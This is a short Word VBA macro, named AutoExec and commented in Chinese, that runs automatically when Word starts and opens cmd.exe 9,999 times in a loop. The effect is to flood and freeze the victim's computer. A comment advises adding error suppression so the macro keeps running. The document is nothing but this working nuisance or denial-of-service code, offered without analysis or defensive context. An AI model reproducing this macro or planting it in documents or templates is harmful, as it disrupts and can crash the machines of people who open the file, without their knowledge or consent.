Nothing

Sub AutoExec()
'
' AutoExec Macro
' 宏在 2008-7-23 由 cface 创建
'
  For i = 1 To 9999
    Dim auto
    auto = Shell("C:\windows\system32\cmd.exe", VbNormalFocus)
    'AppActivate auto 这个不用了,上面就可以了
  '如果非要用,在Sub AutoExec()下面加上On error resume next就可以了
  Next i
End Sub

Nothing